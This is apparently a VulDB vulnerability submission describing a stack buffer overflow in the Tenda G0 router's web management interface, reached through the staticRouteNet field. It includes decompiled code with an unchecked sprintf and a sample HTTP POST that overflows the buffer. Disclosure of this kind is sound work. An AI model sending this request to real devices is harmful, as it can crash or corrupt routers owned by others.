提交 #868927: Tenda G0 Tenda G0 Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of staticRouteNet. When staticRouteNet is passed from formSetStaticRoute into addStaticRoute and then formatted into the fixed-size stack buffer s_ by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is:
websDefineAction("module", (int)formModules);

The setStaticRoute handler is registered as:
moduleRegister("setStaticRoute", (int)formSetStaticRoute);

In formSetStaticRoute, the data object is passed into addStaticRoute when type is add:
v6 = addStaticRoute((int)ObjectItem);

In addStaticRoute, attacker-controlled values are read from the JSON data object:
String = cJSON_GetString(a1, "staticRouteNet", (int)&unk_507E10);
v3 = cJSON_GetString(a1, "staticRouteMask", (int)&unk_507E10);
v4 = cJSON_GetString(a1, "staticRouteGateway", (int)&unk_507E10);
v5 = (char *)cJSON_GetString(a1, "staticRouteWAN", (int)&unk_507E10);

The destination buffer is a fixed-size stack buffer:
char s_[256];

The user-controlled static route fields are formatted into s_ without length validation:
sprintf(s_, "%s;%s;%s;%d;WAN0", (const char *)String, (const char *)v3, (const char *)v4, 0);

Because sprintf writes attacker-controlled staticRouteNet, staticRouteMask, and staticRouteGateway values into the fixed-size s_ stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/module HTTP/1.1
Host: <device-ip>
Content-Type: application/json

{"setStaticRoute":{"type":"add","data":{"staticRouteNet":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","staticRouteMask":"x.x.x.x","staticRouteGateway":"192.168.1.1","staticRouteWAN":"wan1"}}}

• 来源: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/2.md
• 用户: stksgg (UID 97520)
• 提交: 2026-06-25 09時08分 (2 月前)
• 管理: 2026-08-13 20時55分 (2 months later)
• 状态: 已接受
• VulDB条目: 389759 [Tenda G0 直到 20260625 httpd web management interface /goform/module addStaticRoute staticRouteNet 内存损坏]
• 积分: 20